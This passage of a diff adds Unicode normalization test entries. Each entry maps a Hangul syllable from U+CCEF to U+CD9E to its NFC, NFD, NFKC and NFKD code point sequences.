+{ source: [0xCCEF], NFC: [0xCCEF], NFD: [0x110E, 0x1168, 0x11AA], NFKC: [0xCCEF], NFKD: [0x110E, 0x1168, 0x11AA] },
+{ source: [0xCCF0], NFC: [0xCCF0], NFD: [0x110E, 0x1168, 0x11AB], NFKC: [0xCCF0], NFKD: [0x110E, 0x1168, 0x11AB] },
+{ source: [0xCCF1], NFC: [0xCCF1], NFD: [0x110E, 0x1168, 0x11AC], NFKC: [0xCCF1], NFKD: [0x110E, 0x1168, 0x11AC] },
+{ source: [0xCCF2], NFC: [0xCCF2], NFD: [0x110E, 0x1168, 0x11AD], NFKC: [0xCCF2], NFKD: [0x110E, 0x1168, 0x11AD] },
+{ source: [0xCCF3], NFC: [0xCCF3], NFD: [0x110E, 0x1168, 0x11AE], NFKC: [0xCCF3], NFKD: [0x110E, 0x1168, 0x11AE] },
+{ source: [0xCCF4], NFC: [0xCCF4], NFD: [0x110E, 0x1168, 0x11AF], NFKC: [0xCCF4], NFKD: [0x110E, 0x1168, 0x11AF] },
+{ source: [0xCCF5], NFC: [0xCCF5], NFD: [0x110E, 0x1168, 0x11B0], NFKC: [0xCCF5], NFKD: [0x110E, 0x1168, 0x11B0] },
+{ source: [0xCCF6], NFC: [0xCCF6], NFD: [0x110E, 0x1168, 0x11B1], NFKC: [0xCCF6], NFKD: [0x110E, 0x1168, 0x11B1] },
+{ source: [0xCCF7], NFC: [0xCCF7], NFD: [0x110E, 0x1168, 0x11B2], NFKC: [0xCCF7], NFKD: [0x110E, 0x1168, 0x11B2] },
+{ source: [0xCCF8], NFC: [0xCCF8], NFD: [0x110E, 0x1168, 0x11B3], NFKC: [0xCCF8], NFKD: [0x110E, 0x1168, 0x11B3] },
+{ source: [0xCCF9], NFC: [0xCCF9], NFD: [0x110E, 0x1168, 0x11B4], NFKC: [0xCCF9], NFKD: [0x110E, 0x1168, 0x11B4] },
+{ source: [0xCCFA], NFC: [0xCCFA], NFD: [0x110E, 0x1168, 0x11B5], NFKC: [0xCCFA], NFKD: [0x110E, 0x1168, 0x11B5] },
+{ source: [0xCCFB], NFC: [0xCCFB], NFD: [0x110E, 0x1168, 0x11B6], NFKC: [0xCCFB], NFKD: [0x110E, 0x1168, 0x11B6] },
+{ source: [0xCCFC], NFC: [0xCCFC], NFD: [0x110E, 0x1168, 0x11B7], NFKC: [0xCCFC], NFKD: [0x110E, 0x1168, 0x11B7] },
+{ source: [0xCCFD], NFC: [0xCCFD], NFD: [0x110E, 0x1168, 0x11B8], NFKC: [0xCCFD], NFKD: [0x110E, 0x1168, 0x11B8] },
+{ source: [0xCCFE], NFC: [0xCCFE], NFD: [0x110E, 0x1168, 0x11B9], NFKC: [0xCCFE], NFKD: [0x110E, 0x1168, 0x11B9] },
+{ source: [0xCCFF], NFC: [0xCCFF], NFD: [0x110E, 0x1168, 0x11BA], NFKC: [0xCCFF], NFKD: [0x110E, 0x1168, 0x11BA] },
+{ source: [0xCD00], NFC: [0xCD00], NFD: [0x110E, 0x1168, 0x11BB], NFKC: [0xCD00], NFKD: [0x110E, 0x1168, 0x11BB] },
+{ source: [0xCD01], NFC: [0xCD01], NFD: [0x110E, 0x1168, 0x11BC], NFKC: [0xCD01], NFKD: [0x110E, 0x1168, 0x11BC] },
+{ source: [0xCD02], NFC: [0xCD02], NFD: [0x110E, 0x1168, 0x11BD], NFKC: [0xCD02], NFKD: [0x110E, 0x1168, 0x11BD] },
+{ source: [0xCD03], NFC: [0xCD03], NFD: [0x110E, 0x1168, 0x11BE], NFKC: [0xCD03], NFKD: [0x110E, 0x1168, 0x11BE] },
+{ source: [0xCD04], NFC: [0xCD04], NFD: [0x110E, 0x1168, 0x11BF], NFKC: [0xCD04], NFKD: [0x110E, 0x1168, 0x11BF] },
+{ source: [0xCD05], NFC: [0xCD05], NFD: [0x110E, 0x1168, 0x11C0], NFKC: [0xCD05], NFKD: [0x110E, 0x1168, 0x11C0] },
+{ source: [0xCD06], NFC: [0xCD06], NFD: [0x110E, 0x1168, 0x11C1], NFKC: [0xCD06], NFKD: [0x110E, 0x1168, 0x11C1] },
+{ source: [0xCD07], NFC: [0xCD07], NFD: [0x110E, 0x1168, 0x11C2], NFKC: [0xCD07], NFKD: [0x110E, 0x1168, 0x11C2] },
+{ source: [0xCD08], NFC: [0xCD08], NFD: [0x110E, 0x1169], NFKC: [0xCD08], NFKD: [0x110E, 0x1169] },
+{ source: [0xCD09], NFC: [0xCD09], NFD: [0x110E, 0x1169, 0x11A8], NFKC: [0xCD09], NFKD: [0x110E, 0x1169, 0x11A8] },
+{ source: [0xCD0A], NFC: [0xCD0A], NFD: [0x110E, 0x1169, 0x11A9], NFKC: [0xCD0A], NFKD: [0x110E, 0x1169, 0x11A9] },
+{ source: [0xCD0B], NFC: [0xCD0B], NFD: [0x110E, 0x1169, 0x11AA], NFKC: [0xCD0B], NFKD: [0x110E, 0x1169, 0x11AA] },
+{ source: [0xCD0C], NFC: [0xCD0C], NFD: [0x110E, 0x1169, 0x11AB], NFKC: [0xCD0C], NFKD: [0x110E, 0x1169, 0x11AB] },
+{ source: [0xCD0D], NFC: [0xCD0D], NFD: [0x110E, 0x1169, 0x11AC], NFKC: [0xCD0D], NFKD: [0x110E, 0x1169, 0x11AC] },
+{ source: [0xCD0E], NFC: [0xCD0E], NFD: [0x110E, 0x1169, 0x11AD], NFKC: [0xCD0E], NFKD: [0x110E, 0x1169, 0x11AD] },
+{ source: [0xCD0F], NFC: [0xCD0F], NFD: [0x110E, 0x1169, 0x11AE], NFKC: [0xCD0F], NFKD: [0x110E, 0x1169, 0x11AE] },
+{ source: [0xCD10], NFC: [0xCD10], NFD: [0x110E, 0x1169, 0x11AF], NFKC: [0xCD10], NFKD: [0x110E, 0x1169, 0x11AF] },
+{ source: [0xCD11], NFC: [0xCD11], NFD: [0x110E, 0x1169, 0x11B0], NFKC: [0xCD11], NFKD: [0x110E, 0x1169, 0x11B0] },
+{ source: [0xCD12], NFC: [0xCD12], NFD: [0x110E, 0x1169, 0x11B1], NFKC: [0xCD12], NFKD: [0x110E, 0x1169, 0x11B1] },
+{ source: [0xCD13], NFC: [0xCD13], NFD: [0x110E, 0x1169, 0x11B2], NFKC: [0xCD13], NFKD: [0x110E, 0x1169, 0x11B2] },
+{ source: [0xCD14], NFC: [0xCD14], NFD: [0x110E, 0x1169, 0x11B3], NFKC: [0xCD14], NFKD: [0x110E, 0x1169, 0x11B3] },
+{ source: [0xCD15], NFC: [0xCD15], NFD: [0x110E, 0x1169, 0x11B4], NFKC: [0xCD15], NFKD: [0x110E, 0x1169, 0x11B4] },
+{ source: [0xCD16], NFC: [0xCD16], NFD: [0x110E, 0x1169, 0x11B5], NFKC: [0xCD16], NFKD: [0x110E, 0x1169, 0x11B5] },
+{ source: [0xCD17], NFC: [0xCD17], NFD: [0x110E, 0x1169, 0x11B6], NFKC: [0xCD17], NFKD: [0x110E, 0x1169, 0x11B6] },
+{ source: [0xCD18], NFC: [0xCD18], NFD: [0x110E, 0x1169, 0x11B7], NFKC: [0xCD18], NFKD: [0x110E, 0x1169, 0x11B7] },
+{ source: [0xCD19], NFC: [0xCD19], NFD: [0x110E, 0x1169, 0x11B8], NFKC: [0xCD19], NFKD: [0x110E, 0x1169, 0x11B8] },
+{ source: [0xCD1A], NFC: [0xCD1A], NFD: [0x110E, 0x1169, 0x11B9], NFKC: [0xCD1A], NFKD: [0x110E, 0x1169, 0x11B9] },
+{ source: [0xCD1B], NFC: [0xCD1B], NFD: [0x110E, 0x1169, 0x11BA], NFKC: [0xCD1B], NFKD: [0x110E, 0x1169, 0x11BA] },
+{ source: [0xCD1C], NFC: [0xCD1C], NFD: [0x110E, 0x1169, 0x11BB], NFKC: [0xCD1C], NFKD: [0x110E, 0x1169, 0x11BB] },
+{ source: [0xCD1D], NFC: [0xCD1D], NFD: [0x110E, 0x1169, 0x11BC], NFKC: [0xCD1D], NFKD: [0x110E, 0x1169, 0x11BC] },
+{ source: [0xCD1E], NFC: [0xCD1E], NFD: [0x110E, 0x1169, 0x11BD], NFKC: [0xCD1E], NFKD: [0x110E, 0x1169, 0x11BD] },
+{ source: [0xCD1F], NFC: [0xCD1F], NFD: [0x110E, 0x1169, 0x11BE], NFKC: [0xCD1F], NFKD: [0x110E, 0x1169, 0x11BE] },
+{ source: [0xCD20], NFC: [0xCD20], NFD: [0x110E, 0x1169, 0x11BF], NFKC: [0xCD20], NFKD: [0x110E, 0x1169, 0x11BF] },
+{ source: [0xCD21], NFC: [0xCD21], NFD: [0x110E, 0x1169, 0x11C0], NFKC: [0xCD21], NFKD: [0x110E, 0x1169, 0x11C0] },
+{ source: [0xCD22], NFC: [0xCD22], NFD: [0x110E, 0x1169, 0x11C1], NFKC: [0xCD22], NFKD: [0x110E, 0x1169, 0x11C1] },
+{ source: [0xCD23], NFC: [0xCD23], NFD: [0x110E, 0x1169, 0x11C2], NFKC: [0xCD23], NFKD: [0x110E, 0x1169, 0x11C2] },
+{ source: [0xCD24], NFC: [0xCD24], NFD: [0x110E, 0x116A], NFKC: [0xCD24], NFKD: [0x110E, 0x116A] },
+{ source: [0xCD25], NFC: [0xCD25], NFD: [0x110E, 0x116A, 0x11A8], NFKC: [0xCD25], NFKD: [0x110E, 0x116A, 0x11A8] },
+{ source: [0xCD26], NFC: [0xCD26], NFD: [0x110E, 0x116A, 0x11A9], NFKC: [0xCD26], NFKD: [0x110E, 0x116A, 0x11A9] },
+{ source: [0xCD27], NFC: [0xCD27], NFD: [0x110E, 0x116A, 0x11AA], NFKC: [0xCD27], NFKD: [0x110E, 0x116A, 0x11AA] },
+{ source: [0xCD28], NFC: [0xCD28], NFD: [0x110E, 0x116A, 0x11AB], NFKC: [0xCD28], NFKD: [0x110E, 0x116A, 0x11AB] },
+{ source: [0xCD29], NFC: [0xCD29], NFD: [0x110E, 0x116A, 0x11AC], NFKC: [0xCD29], NFKD: [0x110E, 0x116A, 0x11AC] },
+{ source: [0xCD2A], NFC: [0xCD2A], NFD: [0x110E, 0x116A, 0x11AD], NFKC: [0xCD2A], NFKD: [0x110E, 0x116A, 0x11AD] },
+{ source: [0xCD2B], NFC: [0xCD2B], NFD: [0x110E, 0x116A, 0x11AE], NFKC: [0xCD2B], NFKD: [0x110E, 0x116A, 0x11AE] },
+{ source: [0xCD2C], NFC: [0xCD2C], NFD: [0x110E, 0x116A, 0x11AF], NFKC: [0xCD2C], NFKD: [0x110E, 0x116A, 0x11AF] },
+{ source: [0xCD2D], NFC: [0xCD2D], NFD: [0x110E, 0x116A, 0x11B0], NFKC: [0xCD2D], NFKD: [0x110E, 0x116A, 0x11B0] },
+{ source: [0xCD2E], NFC: [0xCD2E], NFD: [0x110E, 0x116A, 0x11B1], NFKC: [0xCD2E], NFKD: [0x110E, 0x116A, 0x11B1] },
+{ source: [0xCD2F], NFC: [0xCD2F], NFD: [0x110E, 0x116A, 0x11B2], NFKC: [0xCD2F], NFKD: [0x110E, 0x116A, 0x11B2] },
+{ source: [0xCD30], NFC: [0xCD30], NFD: [0x110E, 0x116A, 0x11B3], NFKC: [0xCD30], NFKD: [0x110E, 0x116A, 0x11B3] },
+{ source: [0xCD31], NFC: [0xCD31], NFD: [0x110E, 0x116A, 0x11B4], NFKC: [0xCD31], NFKD: [0x110E, 0x116A, 0x11B4] },
+{ source: [0xCD32], NFC: [0xCD32], NFD: [0x110E, 0x116A, 0x11B5], NFKC: [0xCD32], NFKD: [0x110E, 0x116A, 0x11B5] },
+{ source: [0xCD33], NFC: [0xCD33], NFD: [0x110E, 0x116A, 0x11B6], NFKC: [0xCD33], NFKD: [0x110E, 0x116A, 0x11B6] },
+{ source: [0xCD34], NFC: [0xCD34], NFD: [0x110E, 0x116A, 0x11B7], NFKC: [0xCD34], NFKD: [0x110E, 0x116A, 0x11B7] },
+{ source: [0xCD35], NFC: [0xCD35], NFD: [0x110E, 0x116A, 0x11B8], NFKC: [0xCD35], NFKD: [0x110E, 0x116A, 0x11B8] },
+{ source: [0xCD36], NFC: [0xCD36], NFD: [0x110E, 0x116A, 0x11B9], NFKC: [0xCD36], NFKD: [0x110E, 0x116A, 0x11B9] },
+{ source: [0xCD37], NFC: [0xCD37], NFD: [0x110E, 0x116A, 0x11BA], NFKC: [0xCD37], NFKD: [0x110E, 0x116A, 0x11BA] },
+{ source: [0xCD38], NFC: [0xCD38], NFD: [0x110E, 0x116A, 0x11BB], NFKC: [0xCD38], NFKD: [0x110E, 0x116A, 0x11BB] },
+{ source: [0xCD39], NFC: [0xCD39], NFD: [0x110E, 0x116A, 0x11BC], NFKC: [0xCD39], NFKD: [0x110E, 0x116A, 0x11BC] },
+{ source: [0xCD3A], NFC: [0xCD3A], NFD: [0x110E, 0x116A, 0x11BD], NFKC: [0xCD3A], NFKD: [0x110E, 0x116A, 0x11BD] },
+{ source: [0xCD3B], NFC: [0xCD3B], NFD: [0x110E, 0x116A, 0x11BE], NFKC: [0xCD3B], NFKD: [0x110E, 0x116A, 0x11BE] },
+{ source: [0xCD3C], NFC: [0xCD3C], NFD: [0x110E, 0x116A, 0x11BF], NFKC: [0xCD3C], NFKD: [0x110E, 0x116A, 0x11BF] },
+{ source: [0xCD3D], NFC: [0xCD3D], NFD: [0x110E, 0x116A, 0x11C0], NFKC: [0xCD3D], NFKD: [0x110E, 0x116A, 0x11C0] },
+{ source: [0xCD3E], NFC: [0xCD3E], NFD: [0x110E, 0x116A, 0x11C1], NFKC: [0xCD3E], NFKD: [0x110E, 0x116A, 0x11C1] },
+{ source: [0xCD3F], NFC: [0xCD3F], NFD: [0x110E, 0x116A, 0x11C2], NFKC: [0xCD3F], NFKD: [0x110E, 0x116A, 0x11C2] },
+{ source: [0xCD40], NFC: [0xCD40], NFD: [0x110E, 0x116B], NFKC: [0xCD40], NFKD: [0x110E, 0x116B] },
+{ source: [0xCD41], NFC: [0xCD41], NFD: [0x110E, 0x116B, 0x11A8], NFKC: [0xCD41], NFKD: [0x110E, 0x116B, 0x11A8] },
+{ source: [0xCD42], NFC: [0xCD42], NFD: [0x110E, 0x116B, 0x11A9], NFKC: [0xCD42], NFKD: [0x110E, 0x116B, 0x11A9] },
+{ source: [0xCD43], NFC: [0xCD43], NFD: [0x110E, 0x116B, 0x11AA], NFKC: [0xCD43], NFKD: [0x110E, 0x116B, 0x11AA] },
+{ source: [0xCD44], NFC: [0xCD44], NFD: [0x110E, 0x116B, 0x11AB], NFKC: [0xCD44], NFKD: [0x110E, 0x116B, 0x11AB] },
+{ source: [0xCD45], NFC: [0xCD45], NFD: [0x110E, 0x116B, 0x11AC], NFKC: [0xCD45], NFKD: [0x110E, 0x116B, 0x11AC] },
+{ source: [0xCD46], NFC: [0xCD46], NFD: [0x110E, 0x116B, 0x11AD], NFKC: [0xCD46], NFKD: [0x110E, 0x116B, 0x11AD] },
+{ source: [0xCD47], NFC: [0xCD47], NFD: [0x110E, 0x116B, 0x11AE], NFKC: [0xCD47], NFKD: [0x110E, 0x116B, 0x11AE] },
+{ source: [0xCD48], NFC: [0xCD48], NFD: [0x110E, 0x116B, 0x11AF], NFKC: [0xCD48], NFKD: [0x110E, 0x116B, 0x11AF] },
+{ source: [0xCD49], NFC: [0xCD49], NFD: [0x110E, 0x116B, 0x11B0], NFKC: [0xCD49], NFKD: [0x110E, 0x116B, 0x11B0] },
+{ source: [0xCD4A], NFC: [0xCD4A], NFD: [0x110E, 0x116B, 0x11B1], NFKC: [0xCD4A], NFKD: [0x110E, 0x116B, 0x11B1] },
+{ source: [0xCD4B], NFC: [0xCD4B], NFD: [0x110E, 0x116B, 0x11B2], NFKC: [0xCD4B], NFKD: [0x110E, 0x116B, 0x11B2] },
+{ source: [0xCD4C], NFC: [0xCD4C], NFD: [0x110E, 0x116B, 0x11B3], NFKC: [0xCD4C], NFKD: [0x110E, 0x116B, 0x11B3] },
+{ source: [0xCD4D], NFC: [0xCD4D], NFD: [0x110E, 0x116B, 0x11B4], NFKC: [0xCD4D], NFKD: [0x110E, 0x116B, 0x11B4] },
+{ source: [0xCD4E], NFC: [0xCD4E], NFD: [0x110E, 0x116B, 0x11B5], NFKC: [0xCD4E], NFKD: [0x110E, 0x116B, 0x11B5] },
+{ source: [0xCD4F], NFC: [0xCD4F], NFD: [0x110E, 0x116B, 0x11B6], NFKC: [0xCD4F], NFKD: [0x110E, 0x116B, 0x11B6] },
+{ source: [0xCD50], NFC: [0xCD50], NFD: [0x110E, 0x116B, 0x11B7], NFKC: [0xCD50], NFKD: [0x110E, 0x116B, 0x11B7] },
+{ source: [0xCD51], NFC: [0xCD51], NFD: [0x110E, 0x116B, 0x11B8], NFKC: [0xCD51], NFKD: [0x110E, 0x116B, 0x11B8] },
+{ source: [0xCD52], NFC: [0xCD52], NFD: [0x110E, 0x116B, 0x11B9], NFKC: [0xCD52], NFKD: [0x110E, 0x116B, 0x11B9] },
+{ source: [0xCD53], NFC: [0xCD53], NFD: [0x110E, 0x116B, 0x11BA], NFKC: [0xCD53], NFKD: [0x110E, 0x116B, 0x11BA] },
+{ source: [0xCD54], NFC: [0xCD54], NFD: [0x110E, 0x116B, 0x11BB], NFKC: [0xCD54], NFKD: [0x110E, 0x116B, 0x11BB] },
+{ source: [0xCD55], NFC: [0xCD55], NFD: [0x110E, 0x116B, 0x11BC], NFKC: [0xCD55], NFKD: [0x110E, 0x116B, 0x11BC] },
+{ source: [0xCD56], NFC: [0xCD56], NFD: [0x110E, 0x116B, 0x11BD], NFKC: [0xCD56], NFKD: [0x110E, 0x116B, 0x11BD] },
+{ source: [0xCD57], NFC: [0xCD57], NFD: [0x110E, 0x116B, 0x11BE], NFKC: [0xCD57], NFKD: [0x110E, 0x116B, 0x11BE] },
+{ source: [0xCD58], NFC: [0xCD58], NFD: [0x110E, 0x116B, 0x11BF], NFKC: [0xCD58], NFKD: [0x110E, 0x116B, 0x11BF] },
+{ source: [0xCD59], NFC: [0xCD59], NFD: [0x110E, 0x116B, 0x11C0], NFKC: [0xCD59], NFKD: [0x110E, 0x116B, 0x11C0] },
+{ source: [0xCD5A], NFC: [0xCD5A], NFD: [0x110E, 0x116B, 0x11C1], NFKC: [0xCD5A], NFKD: [0x110E, 0x116B, 0x11C1] },
+{ source: [0xCD5B], NFC: [0xCD5B], NFD: [0x110E, 0x116B, 0x11C2], NFKC: [0xCD5B], NFKD: [0x110E, 0x116B, 0x11C2] },
+{ source: [0xCD5C], NFC: [0xCD5C], NFD: [0x110E, 0x116C], NFKC: [0xCD5C], NFKD: [0x110E, 0x116C] },
+{ source: [0xCD5D], NFC: [0xCD5D], NFD: [0x110E, 0x116C, 0x11A8], NFKC: [0xCD5D], NFKD: [0x110E, 0x116C, 0x11A8] },
+{ source: [0xCD5E], NFC: [0xCD5E], NFD: [0x110E, 0x116C, 0x11A9], NFKC: [0xCD5E], NFKD: [0x110E, 0x116C, 0x11A9] },
+{ source: [0xCD5F], NFC: [0xCD5F], NFD: [0x110E, 0x116C, 0x11AA], NFKC: [0xCD5F], NFKD: [0x110E, 0x116C, 0x11AA] },
+{ source: [0xCD60], NFC: [0xCD60], NFD: [0x110E, 0x116C, 0x11AB], NFKC: [0xCD60], NFKD: [0x110E, 0x116C, 0x11AB] },
+{ source: [0xCD61], NFC: [0xCD61], NFD: [0x110E, 0x116C, 0x11AC], NFKC: [0xCD61], NFKD: [0x110E, 0x116C, 0x11AC] },
+{ source: [0xCD62], NFC: [0xCD62], NFD: [0x110E, 0x116C, 0x11AD], NFKC: [0xCD62], NFKD: [0x110E, 0x116C, 0x11AD] },
+{ source: [0xCD63], NFC: [0xCD63], NFD: [0x110E, 0x116C, 0x11AE], NFKC: [0xCD63], NFKD: [0x110E, 0x116C, 0x11AE] },
+{ source: [0xCD64], NFC: [0xCD64], NFD: [0x110E, 0x116C, 0x11AF], NFKC: [0xCD64], NFKD: [0x110E, 0x116C, 0x11AF] },
+{ source: [0xCD65], NFC: [0xCD65], NFD: [0x110E, 0x116C, 0x11B0], NFKC: [0xCD65], NFKD: [0x110E, 0x116C, 0x11B0] },
+{ source: [0xCD66], NFC: [0xCD66], NFD: [0x110E, 0x116C, 0x11B1], NFKC: [0xCD66], NFKD: [0x110E, 0x116C, 0x11B1] },
+{ source: [0xCD67], NFC: [0xCD67], NFD: [0x110E, 0x116C, 0x11B2], NFKC: [0xCD67], NFKD: [0x110E, 0x116C, 0x11B2] },
+{ source: [0xCD68], NFC: [0xCD68], NFD: [0x110E, 0x116C, 0x11B3], NFKC: [0xCD68], NFKD: [0x110E, 0x116C, 0x11B3] },
+{ source: [0xCD69], NFC: [0xCD69], NFD: [0x110E, 0x116C, 0x11B4], NFKC: [0xCD69], NFKD: [0x110E, 0x116C, 0x11B4] },
+{ source: [0xCD6A], NFC: [0xCD6A], NFD: [0x110E, 0x116C, 0x11B5], NFKC: [0xCD6A], NFKD: [0x110E, 0x116C, 0x11B5] },
+{ source: [0xCD6B], NFC: [0xCD6B], NFD: [0x110E, 0x116C, 0x11B6], NFKC: [0xCD6B], NFKD: [0x110E, 0x116C, 0x11B6] },
+{ source: [0xCD6C], NFC: [0xCD6C], NFD: [0x110E, 0x116C, 0x11B7], NFKC: [0xCD6C], NFKD: [0x110E, 0x116C, 0x11B7] },
+{ source: [0xCD6D], NFC: [0xCD6D], NFD: [0x110E, 0x116C, 0x11B8], NFKC: [0xCD6D], NFKD: [0x110E, 0x116C, 0x11B8] },
+{ source: [0xCD6E], NFC: [0xCD6E], NFD: [0x110E, 0x116C, 0x11B9], NFKC: [0xCD6E], NFKD: [0x110E, 0x116C, 0x11B9] },
+{ source: [0xCD6F], NFC: [0xCD6F], NFD: [0x110E, 0x116C, 0x11BA], NFKC: [0xCD6F], NFKD: [0x110E, 0x116C, 0x11BA] },
+{ source: [0xCD70], NFC: [0xCD70], NFD: [0x110E, 0x116C, 0x11BB], NFKC: [0xCD70], NFKD: [0x110E, 0x116C, 0x11BB] },
+{ source: [0xCD71], NFC: [0xCD71], NFD: [0x110E, 0x116C, 0x11BC], NFKC: [0xCD71], NFKD: [0x110E, 0x116C, 0x11BC] },
+{ source: [0xCD72], NFC: [0xCD72], NFD: [0x110E, 0x116C, 0x11BD], NFKC: [0xCD72], NFKD: [0x110E, 0x116C, 0x11BD] },
+{ source: [0xCD73], NFC: [0xCD73], NFD: [0x110E, 0x116C, 0x11BE], NFKC: [0xCD73], NFKD: [0x110E, 0x116C, 0x11BE] },
+{ source: [0xCD74], NFC: [0xCD74], NFD: [0x110E, 0x116C, 0x11BF], NFKC: [0xCD74], NFKD: [0x110E, 0x116C, 0x11BF] },
+{ source: [0xCD75], NFC: [0xCD75], NFD: [0x110E, 0x116C, 0x11C0], NFKC: [0xCD75], NFKD: [0x110E, 0x116C, 0x11C0] },
+{ source: [0xCD76], NFC: [0xCD76], NFD: [0x110E, 0x116C, 0x11C1], NFKC: [0xCD76], NFKD: [0x110E, 0x116C, 0x11C1] },
+{ source: [0xCD77], NFC: [0xCD77], NFD: [0x110E, 0x116C, 0x11C2], NFKC: [0xCD77], NFKD: [0x110E, 0x116C, 0x11C2] },
+{ source: [0xCD78], NFC: [0xCD78], NFD: [0x110E, 0x116D], NFKC: [0xCD78], NFKD: [0x110E, 0x116D] },
+{ source: [0xCD79], NFC: [0xCD79], NFD: [0x110E, 0x116D, 0x11A8], NFKC: [0xCD79], NFKD: [0x110E, 0x116D, 0x11A8] },
+{ source: [0xCD7A], NFC: [0xCD7A], NFD: [0x110E, 0x116D, 0x11A9], NFKC: [0xCD7A], NFKD: [0x110E, 0x116D, 0x11A9] },
+{ source: [0xCD7B], NFC: [0xCD7B], NFD: [0x110E, 0x116D, 0x11AA], NFKC: [0xCD7B], NFKD: [0x110E, 0x116D, 0x11AA] },
+{ source: [0xCD7C], NFC: [0xCD7C], NFD: [0x110E, 0x116D, 0x11AB], NFKC: [0xCD7C], NFKD: [0x110E, 0x116D, 0x11AB] },
+{ source: [0xCD7D], NFC: [0xCD7D], NFD: [0x110E, 0x116D, 0x11AC], NFKC: [0xCD7D], NFKD: [0x110E, 0x116D, 0x11AC] },
+{ source: [0xCD7E], NFC: [0xCD7E], NFD: [0x110E, 0x116D, 0x11AD], NFKC: [0xCD7E], NFKD: [0x110E, 0x116D, 0x11AD] },
+{ source: [0xCD7F], NFC: [0xCD7F], NFD: [0x110E, 0x116D, 0x11AE], NFKC: [0xCD7F], NFKD: [0x110E, 0x116D, 0x11AE] },
+{ source: [0xCD80], NFC: [0xCD80], NFD: [0x110E, 0x116D, 0x11AF], NFKC: [0xCD80], NFKD: [0x110E, 0x116D, 0x11AF] },
+{ source: [0xCD81], NFC: [0xCD81], NFD: [0x110E, 0x116D, 0x11B0], NFKC: [0xCD81], NFKD: [0x110E, 0x116D, 0x11B0] },
+{ source: [0xCD82], NFC: [0xCD82], NFD: [0x110E, 0x116D, 0x11B1], NFKC: [0xCD82], NFKD: [0x110E, 0x116D, 0x11B1] },
+{ source: [0xCD83], NFC: [0xCD83], NFD: [0x110E, 0x116D, 0x11B2], NFKC: [0xCD83], NFKD: [0x110E, 0x116D, 0x11B2] },
+{ source: [0xCD84], NFC: [0xCD84], NFD: [0x110E, 0x116D, 0x11B3], NFKC: [0xCD84], NFKD: [0x110E, 0x116D, 0x11B3] },
+{ source: [0xCD85], NFC: [0xCD85], NFD: [0x110E, 0x116D, 0x11B4], NFKC: [0xCD85], NFKD: [0x110E, 0x116D, 0x11B4] },
+{ source: [0xCD86], NFC: [0xCD86], NFD: [0x110E, 0x116D, 0x11B5], NFKC: [0xCD86], NFKD: [0x110E, 0x116D, 0x11B5] },
+{ source: [0xCD87], NFC: [0xCD87], NFD: [0x110E, 0x116D, 0x11B6], NFKC: [0xCD87], NFKD: [0x110E, 0x116D, 0x11B6] },
+{ source: [0xCD88], NFC: [0xCD88], NFD: [0x110E, 0x116D, 0x11B7], NFKC: [0xCD88], NFKD: [0x110E, 0x116D, 0x11B7] },
+{ source: [0xCD89], NFC: [0xCD89], NFD: [0x110E, 0x116D, 0x11B8], NFKC: [0xCD89], NFKD: [0x110E, 0x116D, 0x11B8] },
+{ source: [0xCD8A], NFC: [0xCD8A], NFD: [0x110E, 0x116D, 0x11B9], NFKC: [0xCD8A], NFKD: [0x110E, 0x116D, 0x11B9] },
+{ source: [0xCD8B], NFC: [0xCD8B], NFD: [0x110E, 0x116D, 0x11BA], NFKC: [0xCD8B], NFKD: [0x110E, 0x116D, 0x11BA] },
+{ source: [0xCD8C], NFC: [0xCD8C], NFD: [0x110E, 0x116D, 0x11BB], NFKC: [0xCD8C], NFKD: [0x110E, 0x116D, 0x11BB] },
+{ source: [0xCD8D], NFC: [0xCD8D], NFD: [0x110E, 0x116D, 0x11BC], NFKC: [0xCD8D], NFKD: [0x110E, 0x116D, 0x11BC] },
+{ source: [0xCD8E], NFC: [0xCD8E], NFD: [0x110E, 0x116D, 0x11BD], NFKC: [0xCD8E], NFKD: [0x110E, 0x116D, 0x11BD] },
+{ source: [0xCD8F], NFC: [0xCD8F], NFD: [0x110E, 0x116D, 0x11BE], NFKC: [0xCD8F], NFKD: [0x110E, 0x116D, 0x11BE] },
+{ source: [0xCD90], NFC: [0xCD90], NFD: [0x110E, 0x116D, 0x11BF], NFKC: [0xCD90], NFKD: [0x110E, 0x116D, 0x11BF] },
+{ source: [0xCD91], NFC: [0xCD91], NFD: [0x110E, 0x116D, 0x11C0], NFKC: [0xCD91], NFKD: [0x110E, 0x116D, 0x11C0] },
+{ source: [0xCD92], NFC: [0xCD92], NFD: [0x110E, 0x116D, 0x11C1], NFKC: [0xCD92], NFKD: [0x110E, 0x116D, 0x11C1] },
+{ source: [0xCD93], NFC: [0xCD93], NFD: [0x110E, 0x116D, 0x11C2], NFKC: [0xCD93], NFKD: [0x110E, 0x116D, 0x11C2] },
+{ source: [0xCD94], NFC: [0xCD94], NFD: [0x110E, 0x116E], NFKC: [0xCD94], NFKD: [0x110E, 0x116E] },
+{ source: [0xCD95], NFC: [0xCD95], NFD: [0x110E, 0x116E, 0x11A8], NFKC: [0xCD95], NFKD: [0x110E, 0x116E, 0x11A8] },
+{ source: [0xCD96], NFC: [0xCD96], NFD: [0x110E, 0x116E, 0x11A9], NFKC: [0xCD96], NFKD: [0x110E, 0x116E, 0x11A9] },
+{ source: [0xCD97], NFC: [0xCD97], NFD: [0x110E, 0x116E, 0x11AA], NFKC: [0xCD97], NFKD: [0x110E, 0x116E, 0x11AA] },
+{ source: [0xCD98], NFC: [0xCD98], NFD: [0x110E, 0x116E, 0x11AB], NFKC: [0xCD98], NFKD: [0x110E, 0x116E, 0x11AB] },
+{ source: [0xCD99], NFC: [0xCD99], NFD: [0x110E, 0x116E, 0x11AC], NFKC: [0xCD99], NFKD: [0x110E, 0x116E, 0x11AC] },
+{ source: [0xCD9A], NFC: [0xCD9A], NFD: [0x110E, 0x116E, 0x11AD], NFKC: [0xCD9A], NFKD: [0x110E, 0x116E, 0x11AD] },
+{ source: [0xCD9B], NFC: [0xCD9B], NFD: [0x110E, 0x116E, 0x11AE], NFKC: [0xCD9B], NFKD: [0x110E, 0x116E, 0x11AE] },
+{ source: [0xCD9C], NFC: [0xCD9C], NFD: [0x110E, 0x116E, 0x11AF], NFKC: [0xCD9C], NFKD: [0x110E, 0x116E, 0x11AF] },
+{ source: [0xCD9D], NFC: [0xCD9D], NFD: [0x110E, 0x116E, 0x11B0], NFKC: [0xCD9D], NFKD: [0x110E, 0x116E, 0x11B0] },
+{ source: [0xCD9E], NFC: [0xCD9E], NFD: [0x110E, 0x116E, 0x11B1], NFKC: [0xCD9E], NFKD: [0x110E, 0x116E, 0x11B1] },
